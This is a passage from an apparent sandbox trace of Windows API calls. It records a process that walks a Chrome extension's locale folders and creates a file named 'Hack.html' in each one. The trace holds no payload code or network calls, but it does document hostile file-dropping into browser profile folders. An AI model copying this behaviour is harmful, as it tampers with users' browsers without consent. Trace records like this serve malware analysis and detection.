lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.552] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.553] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0072.554] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0072.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0072.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0072.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpFilePart=0x0) returned 0x86 [0072.555] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpFilePart=0x0) returned 0x87 [0072.555] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a768 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.557] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0072.558] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0072.558] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0072.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0072.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.559] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpFilePart=0x0) returned 0x89 [0072.559] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\", lpFilePart=0x0) returned 0x8a [0072.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.560] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.561] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.561] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.561] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", lpFilePart=0x0) returned 0x89 [0072.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\", lpFilePart=0x0) returned 0x8a [0072.561] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.561] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.561] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.561] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.561] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.562] GetFileType (hFile=0x174) returned 0x1 [0072.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.562] GetFileType (hFile=0x174) returned 0x1 [0072.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.563] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpFilePart=0x0) returned 0x89 [0072.563] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x8a [0072.563] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.564] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.564] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.564] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.564] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg", lpFilePart=0x0) returned 0x89 [0072.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x8a [0072.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.564] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.564] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.565] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.565] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.565] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.565] GetFileType (hFile=0x174) returned 0x1 [0072.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.565] GetFileType (hFile=0x174) returned 0x1 [0072.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpFilePart=0x0) returned 0x89 [0072.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x8a [0072.566] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.568] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.568] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.568] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.568] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca", lpFilePart=0x0) returned 0x89 [0072.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x8a [0072.568] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a768 [0072.568] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.568] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0072.568] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0072.568] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0072.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0072.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0072.569] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\Hack.html", lpFilePart=0x0) returned 0x93 [0072.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0072.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.569] GetFileType (hFile=0x174) returned 0x1 [0072.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0072.569] GetFileType (hFile=0x174) returned 0x1 [0072.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0072.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 